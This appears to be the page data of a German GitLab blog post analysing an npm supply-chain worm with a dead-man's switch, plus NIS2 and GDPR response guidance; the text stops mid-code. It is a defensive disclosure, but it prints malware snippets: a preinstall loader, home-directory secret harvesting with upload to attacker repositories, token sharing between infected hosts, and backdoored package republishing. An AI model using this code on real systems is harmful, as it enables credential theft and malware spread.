[{"data":1,"prerenderedAt":2862},["ShallowReactive",2],{"/de-de/blog/gitlab-discovers-widespread-npm-supply-chain-attack":3,"navigation-de-de":2068,"banner-de-de":2500,"footer-de-de":2508,"blog-post-authors-de-de-Michael Henriksen|Daniel Abeles":2749,"blog-related-posts-de-de-gitlab-discovers-widespread-npm-supply-chain-attack":2776,"blog-promotions-de-de":2799,"next-steps-de-de":2852},{"id":4,"title":5,"authors":6,"body":9,"category":2049,"date":2050,"description":2051,"extension":2052,"externalUrl":2053,"faq":2053,"featured":311,"heroImage":2054,"meta":2055,"navigation":311,"path":2056,"seo":2057,"slug":2061,"stem":2062,"tags":2063,"template":2066,"updatedDate":2053,"__hash__":2067},"blogPosts/de-de/blog/gitlab-discovers-widespread-npm-supply-chain-attack.md","GitLab identifiziert aktiven Lieferketten-Angriff auf npm",[7,8],"Michael Henriksen","Daniel Abeles",{"type":10,"value":11,"toc":2035},"minimark",[12,23,31,36,41,50,66,69,73,78,110,115,134,140,144,147,163,166,170,177,180,183,188,198,360,370,376,384,387,425,554,560,564,567,774,780,783,1038,1044,1052,1055,1078,1356,1362,1368,1372,1375,1382,1817,1823,1829,1833,1836,2003,2009,2013,2022,2025,2031],[13,14,15,16,22],"p",{},"GitLabs Vulnerability-Research-Team hat einen großflächigen aktiven Lieferketten-Angriff auf das npm-Ökosystem identifiziert. Die Bedrohung involviert eine hochentwickelte Malware-Variante mit destruktiven Fähigkeiten. Das interne Monitoring-System entdeckte mehrere infizierte Pakete mit einer weiterentwickelten Version der \"",[17,18,21],"a",{"href":19,"rel":20},"https://www.cisa.gov/news-events/alerts/2025/09/23/widespread-supply-chain-compromise-impacting-npm-ecosystem",[],"Shai-Hulud","\"-Malware.",[13,24,25,26,30],{},"Die Analyse zeigt wurmartige Verbreitungsmechanismen, die automatisch weitere Pakete infizieren, die von betroffenen Entwicklerinnen und Entwicklern verwaltet werden. Am kritischsten ist die Entdeckung eines ",[27,28,29],"strong",{},"\"Dead-Man's-Switch\"-Mechanismus",": Falls die Verbreitungs- und Exfiltrationskanäle der Malware gekappt werden, droht die Zerstörung von Nutzerdaten.",[13,32,33],{},[27,34,35],{},"GitLab verwendet keine der schadhaften Pakete. Diese Erkenntnisse werden mit der Security-Community geteilt, um eine wirksame Reaktion zu ermöglichen.",[37,38,40],"h2",{"id":39},"nis2-relevanz-und-meldepflichten","NIS2-Relevanz und Meldepflichten",[13,42,43,44,49],{},"Dieser Supply-Chain-Angriff fällt unter die ",[17,45,48],{"href":46,"rel":47},"https://about.gitlab.com/de-de/blog/how-gitlab-helps-meet-nis2-requirements/",[],"NIS2-Richtlinie"," Artikel 21 (Cybersecurity-Risikomanagement-Maßnahmen) und Artikel 23 (Meldepflichten). Wesentliche und wichtige Einrichtungen in Deutschland müssen bei erkannten Kompromittierungen:",[51,52,53,60,63],"ul",{},[54,55,56,59],"li",{},[27,57,58],{},"Innerhalb 24 Stunden"," eine Früherkennung an zuständige Behörden übermitteln",[54,61,62],{},"Systematische Risikobewertung der eigenen Lieferkette durchführen",[54,64,65],{},"Technische und organisatorische Maßnahmen zur Schwachstellenerkennung implementieren",[13,67,68],{},"DSGVO Artikel 32 ist ebenfalls relevant: Die Credential-Exfiltration durch diese Malware stellt unbefugten Zugang zu personenbezogenen Daten dar und erfordert angemessene technische Sicherheitsmaßnahmen.",[37,70,72],{"id":71},"reaktions-checkliste-für-deutsche-unternehmen","Reaktions-Checkliste für deutsche Unternehmen",[13,74,75],{},[27,76,77],{},"Sofortige Überprüfung (innerhalb 1-2 Stunden):",[79,80,81,92,98,104],"ol",{},[54,82,83,86,87,91],{},[27,84,85],{},"npm-Pakete scannen",": ",[88,89,90],"code",{},"npm audit"," in allen Projekten ausführen",[54,93,94,97],{},[27,95,96],{},"Filesystem-Scan",": Suche nach IoC-Indikatoren (siehe Tabelle unten)",[54,99,100,103],{},[27,101,102],{},"GitHub-Repository-Check",": Suche nach \"Sha1-Hulud: The Second Coming\" in Beschreibungen",[54,105,106,109],{},[27,107,108],{},"Token-Audit",": Überprüfung aller npm- und GitHub-Tokens auf unbefugte Zugriffe",[13,111,112],{},[27,113,114],{},"Systematische Analyse (24-48 Stunden):",[79,116,117,128,131],{},[54,118,119,120,123,124,127],{},"Prüfung aller ",[88,121,122],{},"package.json","-Dateien auf ",[88,125,126],{},"preinstall","-Scripts mit Bun-Installationen",[54,129,130],{},"Netzwerkverkehr-Analyse auf Verbindungen zu unbekannten GitHub-Repositories",[54,132,133],{},"Credential-Management-Review gemäß DSGVO Artikel 32",[13,135,136,139],{},[27,137,138],{},"Koordinierte Reaktion:"," Vermeidung von massenhafter Token-Sperrung ohne Abstimmung – der Dead-Man's-Switch könnte Datenverlust auf Tausenden Systemen auslösen.",[37,141,143],{"id":142},"anatomie-des-angriffs","Anatomie des Angriffs",[13,145,146],{},"Das interne Monitoring-System, das Open-Source-Paket-Registries auf schädliche Pakete scannt, identifizierte mehrere npm-Pakete mit hochentwickelter Malware. Diese führt aus:",[51,148,149,152,155,158],{},[54,150,151],{},"Harvesting von Credentials (GitHub, npm, AWS, GCP, Azure)",[54,153,154],{},"Exfiltration gestohlener Daten zu Attacker-kontrollierten GitHub-Repositories",[54,156,157],{},"Automatische Propagierung durch Infektion weiterer Pakete der Opfer",[54,159,160],{},[27,161,162],{},"Destruktive Payload, die bei Infrastruktur-Verlust aktiviert wird",[13,164,165],{},"Mehrere infizierte Pakete sind bestätigt. Der wurmartige Propagierungsmechanismus bedeutet, dass viele weitere Pakete kompromittiert sein dürften. Die Untersuchung läuft, um den vollständigen Umfang zu erfassen.",[37,167,169],{"id":168},"technische-analyse-systematischer-bedrohungsverlauf","Technische Analyse: Systematischer Bedrohungsverlauf",[13,171,172],{},[173,174],"img",{"alt":175,"src":176},"Mermaid-Chart des Angriffsverlaufs","https://res.cloudinary.com/about-gitlab-com/image/upload/v1764040799/igbsaqqvlwjqbrnxmh8k.png",[13,178,179],{},"Die systematische Analyse des Bedrohungsverlaufs zeigt sieben distinkte Stufen: Von der initialen Infektion über Credential-Harvesting und Exfiltration bis zur Supply-Chain-Propagierung. Der Dead-Man's-Switch bildet eine Entscheidungsverzweigung: Bei Infrastruktur-Zugriff erfolgt Exfiltration, bei Verlust beider Kanäle (GitHub und npm) wird Datenzerstörung ausgelöst.",[13,181,182],{},"Diese systematische Darstellung ermöglicht es deutschen Sicherheitsteams, an mehreren Punkten der Kill Chain Detektionsmaßnahmen zu implementieren – ein Ansatz, der mit NIS2 Artikel 21 (mehrschichtige Sicherheitsmaßnahmen) harmoniert.",[184,185,187],"h3",{"id":186},"initialer-infektionsvektor","Initialer Infektionsvektor",[13,189,190,191,193,194,197],{},"Die Malware infiltriert Systeme durch einen sorgfältig konzipierten mehrstufigen Ladeprozess. Infizierte Pakete enthalten eine modifizierte ",[88,192,122],{}," mit einem Preinstall-Script, das auf ",[88,195,196],{},"setup_bun.js"," verweist. Dieses Loader-Script erscheint harmlos – es gibt vor, die Bun-JavaScript-Runtime zu installieren, ein legitimes Werkzeug. Der tatsächliche Zweck ist jedoch die Etablierung der Malware-Ausführungsumgebung.",[199,200,205],"pre",{"className":201,"code":202,"language":203,"meta":204,"style":204},"language-javascript shiki shiki-themes github-light","// Diese Datei wird den Opfer-Paketen als setup_bun.js hinzugefügt\n#!/usr/bin/env node\nasync function downloadAndSetupBun() {\n  // Lädt und installiert Bun\n  let command = process.platform === 'win32'\n    ? 'powershell -c \"irm bun.sh/install.ps1|iex\"'\n    : 'curl -fsSL https://bun.sh/install | bash';\n\n  execSync(command, { stdio: 'ignore' });\n\n  // Führt die eigentliche Malware aus\n  runExecutable(bunPath, ['bun_environment.js']);\n}\n","javascript","",[88,206,207,216,241,257,263,285,294,306,313,328,333,339,354],{"__ignoreMap":204},[208,209,212],"span",{"class":210,"line":211},"line",1,[208,213,215],{"class":214},"sAwPA","// Diese Datei wird den Opfer-Paketen als setup_bun.js hinzugefügt\n",[208,217,219,223,227,230,233,236,238],{"class":210,"line":218},2,[208,220,222],{"class":221},"sgsFI","#",[208,224,226],{"class":225},"sD7c4","!/",[208,228,229],{"class":221},"usr",[208,231,232],{"class":225},"/",[208,234,235],{"class":221},"bin",[208,237,232],{"class":225},[208,239,240],{"class":221},"env node\n",[208,242,244,247,250,254],{"class":210,"line":243},3,[208,245,246],{"class":225},"async",[208,248,249],{"class":225}," function",[208,251,253],{"class":252},"s7eDp"," downloadAndSetupBun",[208,255,256],{"class":221},"() {\n",[208,258,260],{"class":210,"line":259},4,[208,261,262],{"class":214},"  // Lädt und installiert Bun\n",[208,264,266,269,272,275,278,281],{"class":210,"line":265},5,[208,267,268],{"class":225},"  let",[208,270,271],{"class":221}," command ",[208,273,274],{"class":225},"=",[208,276,277],{"class":221}," process.platform ",[208,279,280],{"class":225},"===",[208,282,284],{"class":283},"sYBdl"," 'win32'\n",[208,286,288,291],{"class":210,"line":287},6,[208,289,290],{"class":225},"    ?",[208,292,293],{"class":283}," 'powershell -c \"irm bun.sh/install.ps1|iex\"'\n",[208,295,297,300,303],{"class":210,"line":296},7,[208,298,299],{"class":225},"    :",[208,301,302],{"class":283}," 'curl -fsSL https://bun.sh/install | bash'",[208,304,305],{"class":221},";\n",[208,307,309],{"class":210,"line":308},8,[208,310,312],{"emptyLinePlaceholder":311},true,"\n",[208,314,316,319,322,325],{"class":210,"line":315},9,[208,317,318],{"class":252},"  execSync",[208,320,321],{"class":221},"(command, { stdio: ",[208,323,324],{"class":283},"'ignore'",[208,326,327],{"class":221}," });\n",[208,329,331],{"class":210,"line":330},10,[208,332,312],{"emptyLinePlaceholder":311},[208,334,336],{"class":210,"line":335},11,[208,337,338],{"class":214},"  // Führt die eigentliche Malware aus\n",[208,340,342,345,348,351],{"class":210,"line":341},12,[208,343,344],{"class":252},"  runExecutable",[208,346,347],{"class":221},"(bunPath, [",[208,349,350],{"class":283},"'bun_environment.js'",[208,352,353],{"class":221},"]);\n",[208,355,357],{"class":210,"line":356},13,[208,358,359],{"class":221},"}\n",[13,361,362,363,365,366,369],{},"Der ",[88,364,196],{},"-Loader lädt die Bun-Runtime oder lokalisiert sie auf dem System, führt dann die gebündelte ",[88,367,368],{},"bun_environment.js","-Payload aus – eine 10 MB große obfuskierte Datei, die bereits im infizierten Paket vorhanden ist. Dieser Ansatz bietet mehrere Evasion-Schichten: Der initiale Loader ist klein und scheinbar legitim, während der eigentliche schädliche Code stark obfuskiert und in eine Datei gebündelt ist, die für beiläufige Inspektion zu groß ist.",[13,371,372,375],{},[27,373,374],{},"ISO 27001 A.12.6-Relevanz:"," Diese Evasion-Technik unterstreicht die Notwendigkeit systematischer Preinstall-Script-Überprüfung. Deutsche Unternehmen sollten CI/CD-Pipelines so konfigurieren, dass unerwartete Runtime-Downloads während Paket-Installationen gemeldet werden.",[184,377,379],{"id":378},"credential-harvesting",[17,380,383],{"href":381,"rel":382},"https://about.gitlab.com/de-de/blog/best-practices-to-keep-secrets-out-of-gitlab-repositories/",[],"Credential-Harvesting",[13,385,386],{},"Nach Ausführung beginnt die Malware sofort mit Credential-Discovery über mehrere Quellen:",[51,388,389,403,409,419],{},[54,390,391,394,395,398,399,402],{},[27,392,393],{},"GitHub-Tokens",": Suche in Umgebungsvariablen und GitHub-CLI-Konfigurationen nach Tokens beginnend mit ",[88,396,397],{},"ghp_"," (GitHub Personal Access Token) oder ",[88,400,401],{},"gho_"," (GitHub OAuth Token)",[54,404,405,408],{},[27,406,407],{},"Cloud-Credentials",": Enumeration von AWS-, GCP- und Azure-Credentials mittels offizieller SDKs, Prüfung von Umgebungsvariablen, Config-Dateien und Metadaten-Services",[54,410,411,414,415,418],{},[27,412,413],{},"npm-Tokens",": Extraktion von Tokens für Paket-Publishing aus ",[88,416,417],{},".npmrc","-Dateien und Umgebungsvariablen – gängige Speicherorte für sicher abgelegte sensible Konfigurationen und Credentials",[54,420,421,424],{},[27,422,423],{},"Filesystem-Scanning",": Download und Ausführung von Trufflehog, einem legitimen Security-Tool, um das gesamte Home-Verzeichnis nach API-Keys, Passwörtern und anderen Secrets in Konfigurationsdateien, Quellcode oder Git-History zu durchsuchen",[199,426,428],{"className":201,"code":427,"language":203,"meta":204,"style":204},"async function scanFilesystem() {\n  let scanner = new Trufflehog();\n  await scanner.initialize();\n\n  // Scannt das Home-Verzeichnis auf Secrets\n  let findings = await scanner.scanFilesystem(os.homedir());\n\n  // Lädt Funde zum Exfiltrations-Repository hoch\n  await github.saveContents(\"truffleSecrets.json\",\n    JSON.stringify(findings));\n}\n",[88,429,430,441,459,472,476,481,507,511,516,535,550],{"__ignoreMap":204},[208,431,432,434,436,439],{"class":210,"line":211},[208,433,246],{"class":225},[208,435,249],{"class":225},[208,437,438],{"class":252}," scanFilesystem",[208,440,256],{"class":221},[208,442,443,445,448,450,453,456],{"class":210,"line":218},[208,444,268],{"class":225},[208,446,447],{"class":221}," scanner ",[208,449,274],{"class":225},[208,451,452],{"class":225}," new",[208,454,455],{"class":252}," Trufflehog",[208,457,458],{"class":221},"();\n",[208,460,461,464,467,470],{"class":210,"line":243},[208,462,463],{"class":225},"  await",[208,465,466],{"class":221}," scanner.",[208,468,469],{"class":252},"initialize",[208,471,458],{"class":221},[208,473,474],{"class":210,"line":259},[208,475,312],{"emptyLinePlaceholder":311},[208,477,478],{"class":210,"line":265},[208,479,480],{"class":214},"  // Scannt das Home-Verzeichnis auf Secrets\n",[208,482,483,485,488,490,493,495,498,501,504],{"class":210,"line":287},[208,484,268],{"class":225},[208,486,487],{"class":221}," findings ",[208,489,274],{"class":225},[208,491,492],{"class":225}," await",[208,494,466],{"class":221},[208,496,497],{"class":252},"scanFilesystem",[208,499,500],{"class":221},"(os.",[208,502,503],{"class":252},"homedir",[208,505,506],{"class":221},"());\n",[208,508,509],{"class":210,"line":296},[208,510,312],{"emptyLinePlaceholder":311},[208,512,513],{"class":210,"line":308},[208,514,515],{"class":214},"  // Lädt Funde zum Exfiltrations-Repository hoch\n",[208,517,518,520,523,526,529,532],{"class":210,"line":315},[208,519,463],{"class":225},[208,521,522],{"class":221}," github.",[208,524,525],{"class":252},"saveContents",[208,527,528],{"class":221},"(",[208,530,531],{"class":283},"\"truffleSecrets.json\"",[208,533,534],{"class":221},",\n",[208,536,537,541,544,547],{"class":210,"line":330},[208,538,540],{"class":539},"sYu0t","    JSON",[208,542,543],{"class":221},".",[208,545,546],{"class":252},"stringify",[208,548,549],{"class":221},"(findings));\n",[208,551,552],{"class":210,"line":335},[208,553,359],{"class":221},[13,555,556,559],{},[27,557,558],{},"DSGVO Artikel 32-Implikation:"," Diese umfassende Credential-Exfiltration stellt einen Fall von \"unbefugtem Zugang zu personenbezogenen Daten\" dar, wie in DSGVO Artikel 32 Absatz 2 beschrieben. Organisationen müssen technische Maßnahmen implementieren, um Credentials vom Filesystem zu isolieren – beispielsweise durch Nutzung von Secrets-Management-Systemen statt Umgebungsvariablen.",[184,561,563],{"id":562},"exfiltrations-netzwerk","Exfiltrations-Netzwerk",[13,565,566],{},"Die Malware nutzt gestohlene GitHub-Tokens, um öffentliche Repositories mit einer spezifischen Markierung in deren Beschreibung zu erstellen: \"Sha1-Hulud: The Second Coming.\" Diese Repositories dienen als Dropboxes für gestohlene Credentials und Systeminformationen.",[199,568,570],{"className":201,"code":569,"language":203,"meta":204,"style":204},"async function createRepo(name) {\n  // Erstellt ein Repository mit spezifischer Beschreibungs-Markierung\n  let repo = await this.octokit.repos.createForAuthenticatedUser({\n    name: name,\n    description: \"Sha1-Hulud: The Second Coming.\", // Markierung zum späteren Auffinden\n    private: false,\n    auto_init: false,\n    has_discussions: true\n  });\n\n  // Installiert GitHub-Actions-Runner für Persistenz\n  if (await this.checkWorkflowScope()) {\n    let token = await this.octokit.request(\n      \"POST /repos/{owner}/{repo}/actions/runners/registration-token\"\n    );\n    await installRunner(token); // Installiert Self-Hosted-Runner\n  }\n\n  return repo;\n}\n",[88,571,572,590,595,618,623,637,647,656,664,669,673,678,699,722,728,734,749,755,760,769],{"__ignoreMap":204},[208,573,574,576,578,581,583,587],{"class":210,"line":211},[208,575,246],{"class":225},[208,577,249],{"class":225},[208,579,580],{"class":252}," createRepo",[208,582,528],{"class":221},[208,584,586],{"class":585},"sqxcx","name",[208,588,589],{"class":221},") {\n",[208,591,592],{"class":210,"line":218},[208,593,594],{"class":214},"  // Erstellt ein Repository mit spezifischer Beschreibungs-Markierung\n",[208,596,597,599,602,604,606,609,612,615],{"class":210,"line":243},[208,598,268],{"class":225},[208,600,601],{"class":221}," repo ",[208,603,274],{"class":225},[208,605,492],{"class":225},[208,607,608],{"class":539}," this",[208,610,611],{"class":221},".octokit.repos.",[208,613,614],{"class":252},"createForAuthenticatedUser",[208,616,617],{"class":221},"({\n",[208,619,620],{"class":210,"line":259},[208,621,622],{"class":221},"    name: name,\n",[208,624,625,628,631,634],{"class":210,"line":265},[208,626,627],{"class":221},"    description: ",[208,629,630],{"class":283},"\"Sha1-Hulud: The Second Coming.\"",[208,632,633],{"class":221},", ",[208,635,636],{"class":214},"// Markierung zum späteren Auffinden\n",[208,638,639,642,645],{"class":210,"line":287},[208,640,641],{"class":221},"    private: ",[208,643,644],{"class":539},"false",[208,646,534],{"class":221},[208,648,649,652,654],{"class":210,"line":296},[208,650,651],{"class":221},"    auto_init: ",[208,653,644],{"class":539},[208,655,534],{"class":221},[208,657,658,661],{"class":210,"line":308},[208,659,660],{"class":221},"    has_discussions: ",[208,662,663],{"class":539},"true\n",[208,665,666],{"class":210,"line":315},[208,667,668],{"class":221},"  });\n",[208,670,671],{"class":210,"line":330},[208,672,312],{"emptyLinePlaceholder":311},[208,674,675],{"class":210,"line":335},[208,676,677],{"class":214},"  // Installiert GitHub-Actions-Runner für Persistenz\n",[208,679,680,683,686,689,691,693,696],{"class":210,"line":341},[208,681,682],{"class":225},"  if",[208,684,685],{"class":221}," (",[208,687,688],{"class":225},"await",[208,690,608],{"class":539},[208,692,543],{"class":221},[208,694,695],{"class":252},"checkWorkflowScope",[208,697,698],{"class":221},"()) {\n",[208,700,701,704,707,709,711,713,716,719],{"class":210,"line":356},[208,702,703],{"class":225},"    let",[208,705,706],{"class":221}," token ",[208,708,274],{"class":225},[208,710,492],{"class":225},[208,712,608],{"class":539},[208,714,715],{"class":221},".octokit.",[208,717,718],{"class":252},"request",[208,720,721],{"class":221},"(\n",[208,723,725],{"class":210,"line":724},14,[208,726,727],{"class":283},"      \"POST /repos/{owner}/{repo}/actions/runners/registration-token\"\n",[208,729,731],{"class":210,"line":730},15,[208,732,733],{"class":221},"    );\n",[208,735,737,740,743,746],{"class":210,"line":736},16,[208,738,739],{"class":225},"    await",[208,741,742],{"class":252}," installRunner",[208,744,745],{"class":221},"(token); ",[208,747,748],{"class":214},"// Installiert Self-Hosted-Runner\n",[208,750,752],{"class":210,"line":751},17,[208,753,754],{"class":221},"  }\n",[208,756,758],{"class":210,"line":757},18,[208,759,312],{"emptyLinePlaceholder":311},[208,761,763,766],{"class":210,"line":762},19,[208,764,765],{"class":225},"  return",[208,767,768],{"class":221}," repo;\n",[208,770,772],{"class":210,"line":771},20,[208,773,359],{"class":221},[13,775,776,779],{},[27,777,778],{},"Systematische Detektionsmöglichkeit:"," Die explizite Markierung \"Sha1-Hulud: The Second Coming\" ermöglicht deutschen Sicherheitsteams eine reproduzierbare Suchmethode. Durch GitHub-Suche nach dieser exakten Zeichenfolge lassen sich kompromittierte Developer-Accounts systematisch identifizieren – ein Ansatz, der mit NIS2 Artikel 21 (Fähigkeit zur systematischen Vorfallserkennung) harmoniert.",[13,781,782],{},"Kritisch: Falls das initiale GitHub-Token unzureichende Berechtigungen besitzt, durchsucht die Malware andere kompromittierte Repositories mit derselben Markierung, um Tokens von anderen infizierten Systemen abzurufen. Dies schafft ein resilientes Botnet-artiges Netzwerk, in dem kompromittierte Systeme Access-Tokens teilen.",[199,784,786],{"className":201,"code":785,"language":203,"meta":204,"style":204},"// Token-Sharing im Malware-Netzwerk:\nasync fetchToken() {\n  // Suche auf GitHub nach Repositories mit Identifikations-Markierung\n  let results = await this.octokit.search.repos({\n    q: '\"Sha1-Hulud: The Second Coming.\"',\n    sort: \"updated\"\n  });\n\n  // Versuch, Tokens aus kompromittierten Repos abzurufen\n  for (let repo of results) {\n    let contents = await fetch(\n      `https://raw.githubusercontent.com/${repo.owner}/${repo.name}/main/contents.json`\n    );\n\n    let data = JSON.parse(Buffer.from(contents, 'base64').toString());\n    let token = data?.modules?.github?.token;\n\n    if (token && await validateToken(token)) {\n      return token;  // Token von anderem infizierten System nutzen\n    }\n  }\n  return null;  // Keine gültigen Tokens im Netzwerk gefunden\n}\n",[88,787,788,793,803,808,829,839,847,851,855,860,878,894,919,923,927,964,975,979,998,1009,1014,1019,1033],{"__ignoreMap":204},[208,789,790],{"class":210,"line":211},[208,791,792],{"class":214},"// Token-Sharing im Malware-Netzwerk:\n",[208,794,795,798,801],{"class":210,"line":218},[208,796,797],{"class":221},"async ",[208,799,800],{"class":252},"fetchToken",[208,802,256],{"class":221},[208,804,805],{"class":210,"line":243},[208,806,807],{"class":214},"  // Suche auf GitHub nach Repositories mit Identifikations-Markierung\n",[208,809,810,812,815,817,819,821,824,827],{"class":210,"line":259},[208,811,268],{"class":225},[208,813,814],{"class":221}," results ",[208,816,274],{"class":225},[208,818,492],{"class":225},[208,820,608],{"class":539},[208,822,823],{"class":221},".octokit.search.",[208,825,826],{"class":252},"repos",[208,828,617],{"class":221},[208,830,831,834,837],{"class":210,"line":265},[208,832,833],{"class":221},"    q: ",[208,835,836],{"class":283},"'\"Sha1-Hulud: The Second Coming.\"'",[208,838,534],{"class":221},[208,840,841,844],{"class":210,"line":287},[208,842,843],{"class":221},"    sort: ",[208,845,846],{"class":283},"\"updated\"\n",[208,848,849],{"class":210,"line":296},[208,850,668],{"class":221},[208,852,853],{"class":210,"line":308},[208,854,312],{"emptyLinePlaceholder":311},[208,856,857],{"class":210,"line":315},[208,858,859],{"class":214},"  // Versuch, Tokens aus kompromittierten Repos abzurufen\n",[208,861,862,865,867,870,872,875],{"class":210,"line":330},[208,863,864],{"class":225},"  for",[208,866,685],{"class":221},[208,868,869],{"class":225},"let",[208,871,601],{"class":221},[208,873,874],{"class":225},"of",[208,876,877],{"class":221}," results) {\n",[208,879,880,882,885,887,889,892],{"class":210,"line":335},[208,881,703],{"class":225},[208,883,884],{"class":221}," contents ",[208,886,274],{"class":225},[208,888,492],{"class":225},[208,890,891],{"class":252}," fetch",[208,893,721],{"class":221},[208,895,896,899,902,904,907,910,912,914,916],{"class":210,"line":341},[208,897,898],{"class":283},"      `https://raw.githubusercontent.com/${",[208,900,901],{"class":221},"repo",[208,903,543],{"class":283},[208,905,906],{"class":221},"owner",[208,908,909],{"class":283},"}/${",[208,911,901],{"class":221},[208,913,543],{"class":283},[208,915,586],{"class":221},[208,917,918],{"class":283},"}/main/contents.json`\n",[208,920,921],{"class":210,"line":356},[208,922,733],{"class":221},[208,924,925],{"class":210,"line":724},[208,926,312],{"emptyLinePlaceholder":311},[208,928,929,931,934,936,939,941,944,947,950,953,956,959,962],{"class":210,"line":730},[208,930,703],{"class":225},[208,932,933],{"class":221}," data ",[208,935,274],{"class":225},[208,937,938],{"class":539}," JSON",[208,940,543],{"class":221},[208,942,943],{"class":252},"parse",[208,945,946],{"class":221},"(Buffer.",[208,948,949],{"class":252},"from",[208,951,952],{"class":221},"(contents, ",[208,954,955],{"class":283},"'base64'",[208,957,958],{"class":221},").",[208,960,961],{"class":252},"toString",[208,963,506],{"class":221},[208,965,966,968,970,972],{"class":210,"line":736},[208,967,703],{"class":225},[208,969,706],{"class":221},[208,971,274],{"class":225},[208,973,974],{"class":221}," data?.modules?.github?.token;\n",[208,976,977],{"class":210,"line":751},[208,978,312],{"emptyLinePlaceholder":311},[208,980,981,984,987,990,992,995],{"class":210,"line":757},[208,982,983],{"class":225},"    if",[208,985,986],{"class":221}," (token ",[208,988,989],{"class":225},"&&",[208,991,492],{"class":225},[208,993,994],{"class":252}," validateToken",[208,996,997],{"class":221},"(token)) {\n",[208,999,1000,1003,1006],{"class":210,"line":762},[208,1001,1002],{"class":225},"      return",[208,1004,1005],{"class":221}," token;  ",[208,1007,1008],{"class":214},"// Token von anderem infizierten System nutzen\n",[208,1010,1011],{"class":210,"line":771},[208,1012,1013],{"class":221},"    }\n",[208,1015,1017],{"class":210,"line":1016},21,[208,1018,754],{"class":221},[208,1020,1022,1024,1027,1030],{"class":210,"line":1021},22,[208,1023,765],{"class":225},[208,1025,1026],{"class":539}," null",[208,1028,1029],{"class":221},";  ",[208,1031,1032],{"class":214},"// Keine gültigen Tokens im Netzwerk gefunden\n",[208,1034,1036],{"class":210,"line":1035},23,[208,1037,359],{"class":221},[13,1039,1040,1043],{},[27,1041,1042],{},"NIS2 Artikel 22-Relevanz:"," Dieses selbstheilende Netzwerk erfordert koordinierte Sicherheits-Risikobewertungen kritischer Lieferketten. Einzelne Token-Sperrungen sind unzureichend – eine systematische, abgestimmte Reaktion ist erforderlich, um das Netzwerk zu stören, ohne den Dead-Man's-Switch auszulösen.",[184,1045,1047],{"id":1046},"supply-chain-propagierung",[17,1048,1051],{"href":1049,"rel":1050},"https://about.gitlab.com/de-de/blog/pipeline-security-lessons-from-march-supply-chain-incidents/",[],"Supply-Chain-Propagierung",[13,1053,1054],{},"Mittels gestohlener npm-Tokens führt die Malware aus:",[79,1056,1057,1060,1066,1072,1075],{},[54,1058,1059],{},"Download aller vom Opfer verwalteten Pakete",[54,1061,1062,1063,1065],{},"Injektion des ",[88,1064,196],{},"-Loaders in die Preinstall-Scripts jedes Pakets",[54,1067,1068,1069,1071],{},"Bundling der schadhaften ",[88,1070,368],{},"-Payload",[54,1073,1074],{},"Inkrementierung der Paket-Versionsnummer",[54,1076,1077],{},"Republishing der infizierten Pakete zu npm",[199,1079,1081],{"className":201,"code":1080,"language":203,"meta":204,"style":204},"async function updatePackage(packageInfo) {\n  // Download Original-Paket\n  let tarball = await fetch(packageInfo.tarballUrl);\n\n  // Extraktion und Modifikation von package.json\n  let packageJson = JSON.parse(await readFile(\"package.json\"));\n\n  // Hinzufügen schadhaften Preinstall-Scripts\n  packageJson.scripts.preinstall = \"node setup_bun.js\";\n\n  // Inkrementierung Version\n  let version = packageJson.version.split(\".\").map(Number);\n  version[2] = (version[2] || 0) + 1;\n  packageJson.version = version.join(\".\");\n\n  // Bundling Backdoor-Installer\n  await writeFile(\"setup_bun.js\", BACKDOOR_CODE);\n\n  // Repackaging und Publishing\n  await Bun.$`npm publish ${modifiedPackage}`.env({\n    NPM_CONFIG_TOKEN: this.token\n  });\n}\n",[88,1082,1083,1099,1104,1120,1124,1129,1159,1163,1168,1180,1184,1189,1217,1254,1274,1278,1283,1302,1306,1311,1337,1348,1352],{"__ignoreMap":204},[208,1084,1085,1087,1089,1092,1094,1097],{"class":210,"line":211},[208,1086,246],{"class":225},[208,1088,249],{"class":225},[208,1090,1091],{"class":252}," updatePackage",[208,1093,528],{"class":221},[208,1095,1096],{"class":585},"packageInfo",[208,1098,589],{"class":221},[208,1100,1101],{"class":210,"line":218},[208,1102,1103],{"class":214},"  // Download Original-Paket\n",[208,1105,1106,1108,1111,1113,1115,1117],{"class":210,"line":243},[208,1107,268],{"class":225},[208,1109,1110],{"class":221}," tarball ",[208,1112,274],{"class":225},[208,1114,492],{"class":225},[208,1116,891],{"class":252},[208,1118,1119],{"class":221},"(packageInfo.tarballUrl);\n",[208,1121,1122],{"class":210,"line":259},[208,1123,312],{"emptyLinePlaceholder":311},[208,1125,1126],{"class":210,"line":265},[208,1127,1128],{"class":214},"  // Extraktion und Modifikation von package.json\n",[208,1130,1131,1133,1136,1138,1140,1142,1144,1146,1148,1151,1153,1156],{"class":210,"line":287},[208,1132,268],{"class":225},[208,1134,1135],{"class":221}," packageJson ",[208,1137,274],{"class":225},[208,1139,938],{"class":539},[208,1141,543],{"class":221},[208,1143,943],{"class":252},[208,1145,528],{"class":221},[208,1147,688],{"class":225},[208,1149,1150],{"class":252}," readFile",[208,1152,528],{"class":221},[208,1154,1155],{"class":283},"\"package.json\"",[208,1157,1158],{"class":221},"));\n",[208,1160,1161],{"class":210,"line":296},[208,1162,312],{"emptyLinePlaceholder":311},[208,1164,1165],{"class":210,"line":308},[208,1166,1167],{"class":214},"  // Hinzufügen schadhaften Preinstall-Scripts\n",[208,1169,1170,1173,1175,1178],{"class":210,"line":315},[208,1171,1172],{"class":221},"  packageJson.scripts.preinstall ",[208,1174,274],{"class":225},[208,1176,1177],{"class":283}," \"node setup_bun.js\"",[208,1179,305],{"class":221},[208,1181,1182],{"class":210,"line":330},[208,1183,312],{"emptyLinePlaceholder":311},[208,1185,1186],{"class":210,"line":335},[208,1187,1188],{"class":214},"  // Inkrementierung Version\n",[208,1190,1191,1193,1196,1198,1201,1204,1206,1209,1211,1214],{"class":210,"line":341},[208,1192,268],{"class":225},[208,1194,1195],{"class":221}," version ",[208,1197,274],{"class":225},[208,1199,1200],{"class":221}," packageJson.version.",[208,1202,1203],{"class":252},"split",[208,1205,528],{"class":221},[208,1207,1208],{"class":283},"\".\"",[208,1210,958],{"class":221},[208,1212,1213],{"class":252},"map",[208,1215,1216],{"class":221},"(Number);\n",[208,1218,1219,1222,1225,1228,1230,1233,1235,1237,1240,1243,1246,1249,1252],{"class":210,"line":356},[208,1220,1221],{"class":221},"  version[",[208,1223,1224],{"class":539},"2",[208,1226,1227],{"class":221},"] ",[208,1229,274],{"class":225},[208,1231,1232],{"class":221}," (version[",[208,1234,1224],{"class":539},[208,1236,1227],{"class":221},[208,1238,1239],{"class":225},"||",[208,1241,1242],{"class":539}," 0",[208,1244,1245],{"class":221},") 